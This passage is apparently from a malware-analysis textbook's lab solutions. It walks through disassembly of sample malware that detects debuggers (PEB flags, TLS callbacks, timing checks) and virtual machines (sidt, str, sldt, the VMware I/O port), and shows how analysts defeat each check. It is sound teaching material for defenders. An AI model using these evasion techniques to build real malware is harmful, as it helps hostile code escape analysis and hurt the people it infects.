In OllyDbg, make sure you have the Command Line plug-in installed (as 
discussed in Chapter 9). To launch the plug-in, load the malware in OllyDbg 
and select PluginsCommand Line. In the command-line window, enter the 
following command:

dump fs:[30] + 2
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This command will dump the BeingDebugged flag into the dump window. 
To manually clear the BeingDebugged flag, run the dump command in the 
command-line window, as shown in the top part of Figure 16-2L. Then 
right-click the BeingDebugged flag and select BinaryFill With 00’s, as shown 
in the bottom portion of Figure 16-2L. This sets the flag to 0. With this change, 
the BeingDebugged check performed several times at the start of functions 
in the malware will no longer call the sub_401000 function.

Now let’s try the plug-in approach. The OllyDbg plug-in PhantOm 
(http://www.woodmann.com/collaborative/tools/index.php/PhantOm) will protect 
you from many anti-debug checks used by malware. Download the plug-in 
and install it by copying it to your OllyDbg installation directory before 
launching OllyDbg. Then select PluginsPhantOmOptions to open the 
PhantOm Options dialog, as shown in Figure 16-3L. Check the first option, 
Hide from PEB, to set the BeingDebugged flag to 0 the next time OllyDbg loads 
malware. (Confirm this by dumping the PEB structure before and after the 
plug-in is installed.)

The ProcessHeap Flag

Listing 16-3L shows the code in the middle box of Figure 16-1L. 

00401410 64 A1 30 00 00+        mov     eax, large fs:30h 
00401416 8B 40 18               mov     eax, [eax+18h] 
00401419                        db      3Eh 
00401419 3E 8B 40 10            mov     eax, [eax+10h] 
0040141D 89 45 F0               mov     [ebp+var_10], eax
00401420 83 7D F0 00            cmp     [ebp+var_10], 0 
00401424 74 05                  jz      short loc_40142B
00401426 E8 D5 FB FF FF         call    sub_401000

Listing 16-3L: Checking the ProcessHeap flag 

Figure 16-2L: Using the command line to dump 
the BeingDebugged flag and then setting it to 0

Figure 16-3L: OllyDbg PhantOm 
plug-in options 
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The PEB structure is loaded into EAX at  using fs:[30]. At , the 
ProcessHeap structure (offset 0x18 into the PEB) is moved into EAX, and 
then the ForceFlags field (offset 0x10 into the ProcessHeap structure) is 
moved into EAX at . ForceFlags is compared to 0 at  to decide whether 
to call sub_401000 or to continue running normally. 

An erroneous db 3Eh instruction was added by IDA Pro at . We dis-
played the opcodes in Listing 16-2L to show that the 0x3E is included in the 
next instruction at . If you look at the disassembly in OllyDbg, you won’t 
see this error. 

NOTE When you encounter erroneous db instructions, you can ignore them, but you should 
display opcodes to confirm that the byte is disassembled properly in an instruction.

The 4-byte ForceFlags field is nonzero when the ProcessHeap structure is 
created in the debugger, and the ForceFlags field must be 0 in order for the 
malware to run normally within a debugger. We need to change it to 0 when 
debugging, either manually with the OllyDbg Command Line plug-in or by 
using the OllyDbg PhantOm plug-in, as with the BeingDebugged flag. 

To set the ForceFlags field to 0 manually, launch the Command Line 
plug-in by selecting PluginsCommand Line, and then enter the following 
command in the window:

dump ds:[fs:[30] + 0x18] + 0x10

The command dumps the ForceFlags field of the ProcessHeap structure 
into the dump window. Select all 4 bytes of the ForceFlags field, and then 
right-click and select BinaryFill With 00’s to set the 4 bytes to 0. 

NOTE In Windows 7, offset 0x10 is no longer the ForceFlags field, so this anti-debugging 
method may end up falsely indicating the presence of a debugger on newer versions of 
Windows (post-XP).

Alternatively, use the PhantOm plug-in to protect against the ProcessHeap 
anti-debugging technique. The PhantOm plug-in will cause this technique to 
fail when you start the program with debug heap creation disabled. (You 
don’t need to modify the settings as you did for the BeingDebugged flag.)

NOTE In WinDbg, you can start a program with the debug heap disabled by using the –hd 
option, which causes the ForceFlags field to always be 0. For example, the command 
windbg –hd Lab16-01.exe creates heaps in normal mode, rather than in debug mode.

The NTGlobalFlag Flag

The code in the lower box of Figure 16-1L is shown in Listing 16-4L. 

00403594         mov     eax, large fs:30h 
0040359A         db      3Eh 
0040359A         mov     eax, [eax+68h] 
0040359E         sub     eax, 70h
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004035A1         mov     [ebp+var_1828], eax
004035A7         cmp     [ebp+var_1828], 0
004035AE         jnz     short loc_4035B5
004035B0         call    sub_401000

Listing 16-4L: Checking the NTGlobalFlag flag 

The PEB structure is loaded into EAX at  using fs:[30], and NTGlobalFlag 
is accessed and moved into EAX at . NTGlobalFlag is compared to 0x70, 
and a decision is made whether to call sub_401000 (the terminate and remove 
function) or to continue executing normally. The erroneous db 3Eh added by 
IDA Pro is seen at , and we ignore it. 

The NTGlobalFlag flag at offset 0x68 in the PEB structure is set to 0x70 when 
the process is run in a debugger. As with the other flags we’ve discussed, we 
need to set this byte to 0, either manually or by using an OllyDbg plug-in. 

To set NTGlobalFlag manually, launch the Command Line plug-in by 
selecting PluginsCommand Line, and then enter the following command 
in the window:

dump fs:[30] + 0x68

This dumps the NTGlobalFlag flag into the dump window. As with the 
BeingDebugged flag, select the byte, right-click, and select BinaryFill With 
00’s to set the byte to 0. 

You can use also the OllyDbg plug-in PhantOm to protect yourself from 
the NTGlobalFlag anti-debugging technique without the need to modify any 
settings. 

Summary

Lab 16-1 uses three different anti-debugging techniques to attempt to thwart 
debugger analysis. The malware manually checks structures for telltale signs 
of debugger usage and performs the same three checks at the start of nearly 
every subroutine, which makes flipping single jump flags tedious when inside 
a debugger. As you’ve seen, the easiest way to defeat the malware is to change 
the structures in memory so that the check fails, and you can make this change 
either manually or with the PhantOm plug-in for OllyDbg.

Lab 16-2 Solutions

Short Answers
1. When you run Lab16-02.exe from the command line, it prints a usage 

string asking for a four-character password.

2. If you input an incorrect password, the program will respond “Incorrect 
password, Try again.”
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3. The correct command-line password is byrr.

4. The strncmp function is called at 0x40123A.

5. The program immediately terminates when loaded into OllyDbg using 
the default settings. 

6. The program contains a .tls section.

7. The TLS callback starts at 0x401060.

8. The FindWindowA function is used to terminate the malware. It looks for a 
window with the class name OLLYDBG and terminates the program if it is 
found. You can change the window class name using an OllyDbg plug-in 
like PhantOm, or NOP-out the call to exit at 0x40107C.

9. At first, the password appears to be bzqr when you set a breakpoint at the 
strncmp call.

10. This password found in the debugger doesn’t work on the command line.

11. The result of OutputDebugStringA and the BeingDebugged flag are used as 
inputs to the decoding algorithm. You can use the PhantOm plug-in 
to ensure that the BeingDebugged flag is 0, and you can NOP-out the add 
instruction at 0x401051.

Detailed Analysis
We first run the program from the command line and see the following 
printed to the screen: 

usage: Lab16-02.exe <4 character password>

The program is expecting a four-character password. Next, we attempt to 
provide the password abcd on the command line, and get the following output:

Incorrect password, Try again.

Now, we look for a string comparison in the code so we can run the pro-
gram in a debugger and set a breakpoint at the string comparison in order to 
see the password. The fourth Lab 16-2 question hinted that strncmp is used. 
If we load the program into IDA Pro, we see strncmp in the main function 
at 0x40123A. Let’s load the program into OllyDbg and set a breakpoint at 
0x40123A. 

After we load Lab16-02.exe into OllyDbg, it immediately terminates with-
out pausing the program. We suspect something is amiss, so we check the PE 
file structure. Figure 16-4L shows the PE header section names in PEview. 
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Figure 16-4L: PEview displaying a TLS section for Lab 16-2

The TLS section contains callback functions that gain execution and 
prematurely terminate the program in OllyDbg. In IDA Pro, press CTRL-E to 
see the location of all entry points for the program, as shown in Figure 16-5L.

Figure 16-5L: PEview displaying a TLS section for Lab 16-2

Double-click the TLS callback function at 0x401060 to navigate directly to 
the function and see if there is any anti-debugging functionality. Listing 16-5L 
shows the TLS callback code. 

00401063         cmp     [ebp+arg_4], 1
00401067         jnz     short loc_401081
00401069         push    0                       ; lpWindowName
0040106B         push    offset ClassName        ; "OLLYDBG"
00401070         call    ds:FindWindowA 
00401076         test    eax, eax
00401078         jz      short loc_401081
0040107A         push    0                       ; int
0040107C         call    _exit 

Listing 16-5L: FindWindowA check for system residue of OllyDbg

The TLS callback starts with a comparison of arg_4 to 1 to determine 
whether the TLS callback is being called as a result of the process starting up. 
(TLS callback functions are called at different times by the system.) In other 
words, this anti-debugging technique executes only during program startup. 

At , the callback calls the FindWindowA function with the class name 
OLLYDBG. This call makes it easy for the malware to see if OllyDbg is running 
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with its default window name. If FindWindowA finds the window, it returns 
a nonzero value, which will cause the exit function to terminate the pro-
gram at . 

To disable this technique, NOP-out the call to exit at , or use the 
PhantOm plug-in for OllyDbg as discussed in the previous lab. (Figure 16-3L 
displays the options for the PhantOm plug-in.) If you’re using the PhantOm 
plug-in, check the Load Driver and Hide OllyDbg Windows boxes to protect 
against this technique. 

Now load the program into OllyDbg, set a breakpoint at the strncmp call 
at 0x40123A, and add a command-line argument of abcd in OllyDbg before 
clicking the play button. When you click play, the strncmp function appears 
to compare abcd to bzqrp@ss; however, strncmp checks only the first 4 bytes of 
the bzqrp@ss string. We conclude that the password must be bzqr, but if we 
try that password on the command line outside a debugger, we receive the 
incorrect password error message. We dig deeper into the code to deter-
mine if something else is going on.

We begin by properly labeling the encoded string in the listing. The 
second parameter passed on the stack to strncmp is byte_408030 (a global vari-
able), which we know to be a byte array of size 4. We change this into a 4-byte 
array and rename it encoded_password. 

Next, we see CreateThread called just before the call to strncmp in the main 
function. To look at the code in the thread created by this call, double-click 
the parameter labeled StartAddress. This function appears to be a decoding 
routine since it contains many logical and shift operations on encoded_password. 
Examining the decoding routine closely, we see the BeingDebugged flag accessed, 
as shown in Listing 16-6L at  and .

00401124         ror     encoded_password+2, 7
0040112B         mov     ebx, large fs:30h 
00401132         xor     encoded_password+3, 0C5h
...
0040117D         rol     encoded_password, 6
00401184         xor     encoded_password, 72h
0040118B         mov     bl, [ebx+2] 
0040118E         rol     encoded_password+1, 1
...
004011A2         add     encoded_password+2, bl 

Listing 16-6L: Decoding routine incorporating anti-debugging in its decoding

The PEB structure is loaded into EBX at , and then the BeingDebugged 
flag is moved into BL at . BL is then used at  to modify the password. The 
easiest way to prevent the program from using this technique is to ensure 
that the BeingDebugged flag is 0, which can be set either manually or with the 
PhantOm plug-in for OllyDbg, as discussed in the previous lab.

We load the program into OllyDbg again and break at the strncmp call at 
0x40123A. This time, the password appears to be bzrr. But when we try this 
password on the command line, we receive the incorrect password error mes-
sage again. 
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Returning to the decoding routine, we see that it uses a global variable, 
byte_40A968, as shown in Listing 16-7L.

0040109B         mov     bl, byte_40A968 
004010A1         or      al, 1
...
0040110A         rol     encoded_password, 2
00401111         add     encoded_password+1, bl 

Listing 16-7L: Global byte_40A968 used in the password decoding

At , byte_40A968 is moved into BL, and BL is used in the decoding code, 
as seen at . Double-clicking byte_40A968, we see that it is initialized to 0, but 
it has a cross-reference to sub_401020. That function is shown in Listing 16-8L.

00401024         mov     [ebp+dwErrCode], 3039h
0040102B         mov     eax, [ebp+dwErrCode]
0040102E         push    eax                     ; dwErrCode
0040102F         call    ds:SetLastError 
00401035         push    offset OutputString     ; "b"
0040103A         call    ds:OutputDebugStringA 
00401040         call    ds:GetLastError
00401046         cmp     eax, [ebp+dwErrCode] 
00401049         jnz     short loc_40105A
0040104B         mov     cl, byte_40A968 
00401051         add     cl, 1 
00401054         mov     byte_40A968, cl

Listing 16-8L: OutputDebugStringA anti-debugging technique

At , OutputDebugStringA is called, which sends a string (in this case, "b") 
to a debugger for display. If there is no debugger attached, an error code is 
set. At , SetLastError sets the error code to 0x3039, and the function checks 
to see if that error is still present with the comparison at . The error code 
changes if the program is running outside a debugger; therefore, the com-
parison will set the zero flag if the error code has not changed (running in a 
debugger). If this check is successful, the code increments byte_40A968 by 1 
at . The easiest way to defeat this technique is to NOP-out the add instruc-
tion at .

Next, we want to track down how the function from Listing 16-8L 
(sub_401020) is called. We check the cross-reference and see that sub_401020 
is called from the TLS callback, as shown in Listing 16-9L (in bold). 

00401081         cmp     [ebp+arg_4], 2
00401085         jnz     short loc_40108C
00401087         call    sub_401020

Listing 16-9L: The check and call from within the TLS callback
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The code in Listing 16-9L starts by comparing arg_4 to the number 2. 
Recall from our earlier discussion that arg_4 to the TLS callback is used to 
determine when the TLS callback is made: 1 is used for when the process is 
starting up, 2 for when a thread is starting up, and 3 when the process is 
being terminated. Therefore, this TLS callback was called again when the 
CreateThread executed and caused the OutputDebugStringA to execute. 

Getting the Correct Password

To finally get the password, we start with our OllyDbg PhantOm plug-in 
installed and set up to protect us from the BeingDebugged flag check and 
the FindWindow check. We load the program into OllyDbg, NOP-out the add 
instruction at 0x401051, and set a breakpoint at the strncmp call (0x40123A). 
This time, the password appears to be byrr. Trying this on the command line, 
we get the following message:

You entered the correct password!

Lab 16-3 Solutions

Short Answers
1. There aren’t many useful strings in the malware other than import func-

tions and the strings cmd and cmd.exe.

2. When you run this malware, it appears to do nothing other than 
terminate.

3. You must rename the malware to peo.exe for it to run properly.

4. This malware uses three different anti-debugging timing techniques: 
rdtsc, GetTickCount, and QueryPerformanceCounter.

5. If the QueryPerformanceCounter check is successful, the malware modifies 
the string needed for the program to run properly. If the GetTickCount 
check is successful, the malware causes an unhandled exception that 
crashes the program. If the rdtsc check is successful, the malware will 
attempt to delete itself from disk.

6. The anti-debugging timing checks are successful because the malware 
causes and catches an exception that it handles by manipulating the 
Structured Exception Handling (SEH) mechanism to include its own 
exception handler in between two calls to the timing checking functions. 
Exceptions are handled much more slowly in a debugger than outside a 
debugger.

7. The malware uses the domain name adg.malwareanalysisbook.com.

Detailed Analysis
As noted in the lab description, this malware is the same as Lab09-02.exe, 
except with added anti-debugging techniques. A good place to start is by 
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doing Lab 9-2 or by reviewing your answers to refresh your memory of this 
malware’s capabilities.

Static analysis of Lab16-03.exe shows it to be similar to Lab09-02.exe, with 
few strings visible other than cmd.exe. When we load Lab16-03.exe into IDA 
Pro, we see that much of the same functionality is present in this malware. 
Listing 16-10L shows the malware using gethostbyname to resolve a domain 
and using port 9999, as with Lab 9-2.

004015DB         call    ds:gethostbyname
...
0040160D         push    9999                    ; hostshort
00401612         call    ds:htons

Listing 16-10L: Same calls from Lab 9-2, which resolve a domain name and get a port in 
network byte order

 Since this malware uses DNS and connects out over port 9999, we set up 
a dynamic environment using ApateDNS and Netcat. However, when we first 
run the malware, it doesn’t perform DNS or connect on port 9999. Recall 
from Lab 9-2 that the name of the malware needed to be ocl.exe. Let’s see if 
that is the case here.

Two strings appear to be created on the stack at the start of the mal-
ware’s main function: 1qbz2wsx3edc and ocl.exe. We rename the malware to 
ocl.exe to see if it connects out. It doesn’t, which means the name ocl.exe must 
be modified before the comparison.

Listing 16-11L shows the string comparison that checks to see if the 
launched malware has the correct name.

0040150A         mov     ecx, [ebp+Str2] 
00401510         push    ecx                     ; Str2
00401511         lea     edx, [ebp+Str1] 
00401517         push    edx                     ; Str1
00401518         call    _strncmp

Listing 16-11L: Using strncmp for the module name comparison

At , we see Str2, which will contain the current name of the launched 
malware. At , we see Str1. Looking back through the code, it seems Str1 is 
our ocl.exe string, but it is passed to sub_4011E0 before the comparison. Let’s 
load this malware into OllyDbg and set a breakpoint at the strncmp call at 
0x401518. 

When we set the breakpoint and click play, we get a division-by-zero 
exception caught by OllyDbg. You can press SHIFT-F9 to pass the exception to 
the program or change the options to pass all exceptions to the program. 

After we pass the exception to the program, it is handled, and we arrive 
at the 0x401518 breakpoint. We see that qgr.exe is on the stack to be com-
pared to Lab16-03.exe, so we try to rename the malware to qgr.exe. However, 
when we try to run it with the name qgr.exe, the malware still doesn’t perform 
a DNS query or connect out. 
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The QueryPerformanceCounter Function

We need to review the sub_4011E0 function (where the ocl.exe string was 
passed) before the strncmp function. Examining sub_4011E0, we see that it 
calls QueryPerformanceCounter twice, as shown in Listing 16-12L (in bold).

00401219         lea     eax, [ebp+PerformanceCount]
0040121C         push    eax                     ; lpPerformanceCount
0040121D         call    ds:QueryPerformanceCounter
...
0040126A         lea     ecx, [ebp+var_110]
00401270         push    ecx                     ; lpPerformanceCount
00401271         call    ds:QueryPerformanceCounter
00401277         mov     edx, [ebp+var_110]
0040127D         sub     edx, dword ptr [ebp+PerformanceCount] 
00401280         mov     [ebp+var_114], edx
00401286         cmp     [ebp+var_114], 4B0h 
00401290         jle     short loc_40129C
00401292         mov     [ebp+var_118], 2 

Listing 16-12L: Anti-debugging timing check using QueryPerformanceCounter

The two calls to QueryPerformanceCounter surround code that we will exam-
ine shortly, but for now we’ll look at the rest of the function. The malware 
subtracts the first-time capture (lpPerformanceCount) from the second-time 
capture (var_110) at . Next, at , the malware compares the result of the 
time difference to 0x4B0 (1200 in decimal). If the time difference exceeds 
1200, var_118 is set to 2; otherwise, it will stay at 1 (its initialized value).

Immediately following this check is the start of a for loop at 0x40129C. 
The loop (not shown here) manipulates the string passed into the function 
(arg_0) using var_118; therefore, the QueryPerformanceCounter check influences 
the string result. The string used in strncmp is different in a debugger versus 
when run normally. To get the correct string, we’ll make sure that var_118 
is set to 1 when this loop is entered. To do this, we set a breakpoint at the 
strncmp and NOP-out the instruction at . Now we see that the filename must 
be peo.exe in order for the malware to run properly outside a debugger.

Let’s examine the code surrounded by the two calls to QueryPerformanceCounter. 
Listing 16-13L shows the code that starts with a call/pop combination to get 
the current EIP into the EAX register.

00401223         call    $+5
00401228         pop     eax
00401229         xor     ecx, ecx
0040122B         mov     edi, eax
0040122D         xor     ebx, ebx
0040122F         add     ebx, 2Ch 
00401232         add     eax, ebx
00401234         push    eax 
00401235         push    large dword ptr fs:0
0040123C         mov     large fs:0, esp 
00401243         div     ecx
00401245         sub     edi, 0D6Ah
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0040124B         mov     ecx, 0Ch
00401250         jmp     short loc_401262
00401252         repne stosb
00401254         mov     ecx, [esp+0Ch] 
00401258         add     dword ptr [ecx+0B8h], 2
0040125F         xor     eax, eax
00401261         retn
00401262         pop     large dword ptr fs:0 
00401269         pop     eax

Listing 16-13L: Malware setting its own exception handler and triggering an exception

Once the malware gets the current EIP into EAX it adds 0x2C to it at . 
This causes the EAX register to contain 0x2C + 0x401228 = 0x401254, which 
references the code starting at . Next, the malware modifies SEH to insert 
the 0x401254 address into the SEH call chain, as explained in Chapter 15. 
This manipulation happens from  through . When the div ecx instruction 
executes, it causes a divide-by-zero exception to occur because ECX is set to 0 
earlier in the code, and this, in turn, causes the malware exception handler 
to execute at . The next two instructions process the divide-by-zero excep-
tion before returning execution to just after the division by zero. Execution 
will eventually lead to , where the SEH chain is restored by removing the 
malware’s exception handler. 

The malware goes through all of this trouble to execute code that has 
a drastic time difference inside a debugger versus outside a debugger. As we 
explained in Chapter 8, exceptions are handled differently when running in 
a debugger and take a little bit longer to process. That small time delta is 
enough for the malware to determine if it is executing in a debugger. 

The GetTickCount Function

Next, we set a breakpoint at gethostbyname at 0x4015DB in order to see the 
domain name used by the malware, and we see that the malware terminates 
without hitting the breakpoint. Examining the code in the main function, we 
see two calls to GetTickCount, as shown in Listing 16-14L (in bold).

00401584         call    ds:GetTickCount
0040158A         mov     [ebp+var_2B4], eax
00401590         call    sub_401000 
00401595         call    ds:GetTickCount
0040159B         mov     [ebp+var_2BC], eax
004015A1         mov     ecx, [ebp+var_2BC]
004015A7         sub     ecx, [ebp+var_2B4]
004015AD         cmp     ecx, 1 
004015B0         jbe     short loc_4015B7 
004015B2         xor     eax, eax
004015B4         mov     [eax], edx 
004015B6         retn

Listing 16-14L: Anti-debugging timing check using GetTickCount
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Between the two calls to GetTickCount, the call to sub_401000 at  contains 
the same SEH manipulation code we saw in the QueryPerformanceCounter method 
we analyzed previously. Next, at , the malware compares the result of the 
time difference in milliseconds. If the time difference exceeds one millisec-
ond, the code executes the instruction at , which is illegal because EAX is 
set to 0 in the previous instruction. This causes the malware to crash. To fix 
this, we just need to make sure that the jump at  is taken.

The rdtsc Instruction

Examining the decoding method sub_401300, we see that the code in Lab 16-3 
differs from the decoding method in Lab 9-2. In Lab 16-3, we find that the 
rdtsc instruction is used twice, and the familiar SEH manipulation code is in 
between. The rdtsc instructions are shown in Listing 16-15L (in bold), and 
we have omitted the SEH manipulation code from the listing. 

00401323         rdtsc
00401325         push    eax 
...                               
0040136D         rdtsc
0040136F         sub     eax, [esp+20h+var_20] 
00401372         mov     [ebp+var_4], eax 
00401375         pop     eax
00401376         pop     eax
00401377         cmp     [ebp+var_4], 7A120h 
0040137E         jbe     short loc_401385
00401380         call    sub_4010E0 

Listing 16-15L: Anti-debugging timing check using rdtsc

The malware pushes the result of the rdtsc instruction onto the stack 
at , and later executes the rdtsc instruction again, this time subtracting the 
value it previously pushed onto the stack from the result (EAX) at . IDA 
Pro has mislabeled the first result as a local variable, var_20. To correct this, 
right-click var_20 and change the instruction to appear as sub eax, [esp]. 

Next, the time difference is stored in var_4 and compared to 0x7A120 
(500000 in decimal) at . If the time difference exceeds 500000, sub_4010E0 is 
called at . The sub_4010E0 function attempts to delete the malware from 
disk, but fails since it is running inside the debugger. Nevertheless, the mal-
ware will terminate because of the call to exit at the end of the function.

Summary

Lab 16-3 uses three different anti-debugging techniques to thwart analysis 
of the malware inside a debugger: QueryPerformanceCounter, GetTickCount, and 
rdtsc. The easiest way to beat this malware at its own game is to NOP-out the 
jumps or force them to be taken by changing them from conditional to non-
conditional jumps. Once we figure out how to rename the malware (to peo.exe) 
in a debugger, we can exit the debugger, rename the file, and effectively use 
basic dynamic analysis techniques. 
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Lab 17-1 Solutions

Short Answers
1. This malware uses vulnerable x86 instructions to determine if it is run-

ning in a VM.

2. The script finds three potential anti-VM instructions and highlights them 
in red: sidt, str, and sldt.

3. The malware will delete itself if either sidt or str detects VMware. If the 
sldt instruction detects malware, the malware will exit without creating 
its main thread, but it will create the malicious service MalService. 

4. On our machine running VMware Workstation 7 on an Intel Core i7, 
none of the techniques succeeded. Your results will vary depending on 
the hardware and software you use.

5. See the detailed analysis for an explanation of why each technique did or 
didn’t work.

6. You can NOP-out the sidt and str instructions or flip the jump flags live 
while debugging the malware. 

Detailed Analysis
Because this malware is the same as Lab07-01.exe except with added anti-VM 
techniques, a good place to begin your analysis is with Lab 7-1. Scanning the 
malware for new functions, we find two: sub_401000, a self-deletion method, 
and sub_401100, which appears to call the sldt instruction. We can run Lab17-
01.exe in a VM and see what happens differently from Lab 7-1. The dynamic 
analysis results vary from system to system and might be identical to Lab 7-1 
on your machine.

Searching for Vulnerable Instructions

We can automatically search for vulnerable x86 instructions using IDA Pro’s 
Python scripting capability (available in the commercial version). Create 
your own script using Listing 17-4 in Chapter 17, or use the script named 
findAntiVM.py provided with the labs. To run the script in IDA Pro, select 
FileScript File and open findAntiVM.py. You should see the following in 
IDA Pro’s output window:

Number of potential Anti-VM instructions: 3

This output indicates that the script detected three vulnerable instruc-
tion types. Scrolling through the disassembly window in IDA Pro, we see 
three instructions highlighted in red: sidt, str, and sldt. (If you don’t have 
the commercial version of IDA Pro, search for these instructions using 
SearchText.)

We’ll analyze each vulnerable instruction, focusing on what happens if 
the VM technique succeeds, how to defeat it, and why it does or doesn’t work 
on our machine. 
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The sidt Instruction—Red Pill

The sidt instruction (also known as Red Pill) is the first vulnerable instruc-
tion we encounter in this malware, as shown in Listing 17-1L at . This 
instruction stores the most significant 4 bytes of the sidt result var_420 at  
for later use in the code.

004011B5         sidt    fword ptr [ebp+var_428] 
004011BC         mov     eax, dword ptr [ebp+var_428+2]
004011C2         mov     [ebp+var_420], eax 

Listing 17-1L: Red Pill being used in Lab 17-1

The malware checks for a VM a few instructions later in the binary, as 
you can see in Listing 17-2L. 

004011DD                 mov     ecx, [ebp+var_420]
004011E3                 shr     ecx, 18h 
004011E6                 cmp     ecx, 0FFh
004011EC                 jz      loc_40132F 

Listing 17-2L: Comparison and conditional jump checking after using the sidt instruction

The most significant 4 bytes of the sidt result (var_420) are shifted at , 
since the sixth byte of sidt (fourth byte of var_20) contains the start of the base 
memory address. That fifth byte is compared to 0xFF, the VMware signature. 
If the jump is taken at , the malware detected a virtual environment, and 
will call the function at 0x401000 to terminate it and remove it from disk.

The check fails in our test environment, probably because we are on a 
multiprocessor machine. When we set a breakpoint at 0x4011EC, we see that 
ECX isn’t 0xFF (the signature for VMware). If Red Pill is effective in your 
environment, NOP-out the sidt instruction or force the jz at  to not jump 
in a debugger. 

The str Instruction

The str instruction is the second vulnerable instruction in this malware, as 
seen at line 0x401204:

00401204        str     word ptr [ebp+var_418]

The str instruction loads the task state segment (TSS) into the 4-byte 
local variable var_418. The malware doesn’t use this local variable again until 
just after the call to GetModuleFileName. 

If the str instruction succeeds, the malware will not create the MalService 
service. Listing 17-3L shows the check against the first 2 bytes, which must 
equal 0  and 0x40  in order to match the signature for VMware.

00401229                 mov     edx, [ebp+var_418]
0040122F                 and     edx, 0FFh
00401235                 test    edx, edx 
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00401237                 jnz     short loc_40124E
00401239                 mov     eax, [ebp+var_418+1]
0040123F                 and     eax, 0FFh
00401244                 cmp     eax, 40h 
00401247                 jnz     short loc_40124E
00401249                 jmp     loc_401338

Listing 17-3L: Checking the results of the str instruction

This check failed in our environment. When we set a breakpoint at 
0x40122F, we saw that var_418 contained 0x28, not 0x4000, the signature 
for VMware. 

If the str instruction check succeeds in your environment, NOP-out the 
str instruction or force the jnz at 0x401237 to jump in a debugger at runtime.

The sldt Instruction—No Pill

The sldt instruction (also known as No Pill) is the final anti-VM technique 
used in this malware. This technique is found in the function labeled 
sub_401100 by IDA Pro. Listing 17-4L shows the sldt usage within sub_401100. 

00401109         mov     eax, dword_406048 ;0xDDCCBBAA
0040110E         mov     [ebp+var_8], eax 
...
00401121         sldt    word ptr [ebp+var_8]
00401125         mov     edx, [ebp+var_8]
00401128         mov     [ebp+var_C], edx
0040112B         mov     eax, [ebp+var_C] 

Listing 17-4L: Setup and execution of the sldt instruction

As you can see, var_8 is set to EAX at , and EAX was set to dword_406048 
in the previous instruction. dword_406048 contains an initialization constant 
(0xDDCCBBAA). The result of the sldt instruction is stored in var_8 and is 
ultimately moved into EAX at .

After this function returns, the result is compared to see if the low-order 
bits of the initialization constant are set to zero, as shown in Listing 17-5L 
at . If the low-order bytes are not zero, the jump will be taken, and the mal-
ware will terminate without creating the thread.

004012D1         call    sub_401100
004012D6         cmp     eax, 0DDCC0000h 
004012DB         jnz     short loc_40132B

Listing 17-5L: Checking the result of the sldt instruction execution

This check failed in our environment. When we set a breakpoint at 
0x4012D6, we found that EAX was equal to 0xDDCC0000, which meant 
that the check for a VM failed. 

If No Pill is effective in your environment, you will need to NOP-out the 
three instructions in Listing 17-5L or force the jnz to not jump in a debugger.
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Lab 17-2 Solutions

Short Answers
1. The exports are InstallRT, InstallSA, InstallSB, PSLIST, ServiceMain, 

StartEXS, UninstallRT, UninstallSA, and UninstallSB.

2. The DLL is deleted from the system using a .bat file. 

3. A .bat file containing self-deletion code is created, as well as a file named 
xinstall.log containing the string "Found Virtual Machine, Install Cancel".

4. This malware queries the VMware backdoor I/O communication port 
using the magic value VX and the action 0xA by using the in x86 instruction.

5. To get the malware to install, patch the in instruction at 0x100061DB at 
runtime.

6. To permanently disable the VM check, use a hex editor to modify the 
static string in the binary from [This is DVM]5 to [This is DVM]0. Alterna-
tively, NOP-out the check in OllyDbg and write the change to disk.

7. InstallRT performs installation via DLL injection with an optional param-
eter containing the process to inject into. InstallSA performs installation 
via service installation. InstallSB performs installation via service install 
and DLL injection if the service to overwrite is still running.

Detailed Analysis
Lab 17-2 is an extensive piece of malware. Our goal with this lab is to demon-
strate how anti-VM techniques can slow your efforts to analyze malware. We’ll 
focus our discussion on disabling and understanding the anti-VM aspects of 
the malware. We leave the task of fully reversing the malware in this sample 
to you.

Begin by loading the malware into PEview to examine its exports and 
imports. The malware’s extensive import list suggests that it has a wide range of 
functionality, including functions for manipulating the registry (RegSetValueEx), 
manipulating services (ChangeService), screen capturing (BitBlt), process list-
ing (CreateToolhelp32Snapshot), process injection (CreateRemoteThread), and 
networking functionality (WS2_32.dll). We also see a set of export functions, 
mostly related to installation or removal of the malware, as shown here:

InstallRT   InstallSA   InstallSB
PSLIST
ServiceMain
StartEXS
UninstallRT   UninstallSA   UninstallSB

The ServiceMain function in the export list tells us that this malware prob-
ably can be run as a service. The names of the installation exports that end in 
the strings SA and SB may be the methods related to service installation.
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We attempt to run this malware and monitor it using dynamic analysis 
techniques. Using procmon, we set a filter on rundll32.exe (since we will use it 
to run the malware from the command line), and then run the following 
from the command line within our VM:

rundll32.exe Lab17-02.dll,InstallRT 

We immediately notice that the malware is deleted from the system and 
a file xinstall.log is left behind. This file contains the string "Found Virtual 
Machine, Install Cancel", which means that there is an anti-VM technique in 
the binary. 

NOTE You will sometimes encounter logging capability in real malware because logging errors 
can help malware authors determine what they need to change in order for their attack 
to succeed. Also, by logging the result of the various system configurations they encoun-
ter, such as VMs, attackers can identify issues they may encounter during an attack.

When we check our procmon output, we see that the malware created 
the file vmselfdel.bat for the malware to delete itself. When we load the mal-
ware into IDA Pro and follow the cross-references back from the vmselfdel.bat 
string, we reach sub_10005567, which shows the self-deletion scripting code 
that is written to the .bat file.

Next, we focus on determining why the malware deleted itself. We can 
use the findAntiVM.py script from the previous lab or work backward through 
the code by examining the cross-references to sub_10005567 (the vmselfdel.bat 
creation method). Let’s examine the cross-references, as shown in Figure 17-1L.

Figure 17-1L: Cross-reference to sub_100055567

As you can see in Figure 17-1L, there are three cross-references to this 
function, each of which is located in a different export from the malware. 
Following the cross-reference to InstallRT, we see the code shown in 
Listing 17-6L in the InstallRT export function.

1000D870         push    offset unk_1008E5F0 ; char *
1000D875       call    sub_10003592
1000D87A       mov     [esp+8+var_8], offset aFoundVirtualMa ; "Found Virtual Machine,..."
1000D881       call    sub_10003592
1000D886         pop     ecx
1000D887       call    sub_10005567
1000D88C         jmp     short loc_1000D8A4

Listing 17-6L: Anti-VM check inside InstallRT

The call at  is to the vmselfdel.bat function. At , we see a reference to 
the string we found earlier in xinstall.log, as shown in bold. Examining the 
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functions at  and , we see that  opens xinstall.log and  logs "Found 
Virtual Machine, Install Cancel" to the file. 

Examining the code section shown in Listing 17-6L in graph mode, we 
see two code paths to it, both conditional jumps after the calls to sub_10006119 
or sub_10006196. Because the function sub_10006119 is empty, we know that 
sub_10006196 must contain our anti-VM technique. Listing 17-7L shows a sub-
set of the instructions from sub_10006196.

100061C7         mov     eax, 564D5868h  ;'VMXh' 
100061CC         mov     ebx, 0
100061D1         mov     ecx, 0Ah
100061D6         mov     edx, 5658h  ;'VX' 
100061DB         in      eax, dx 
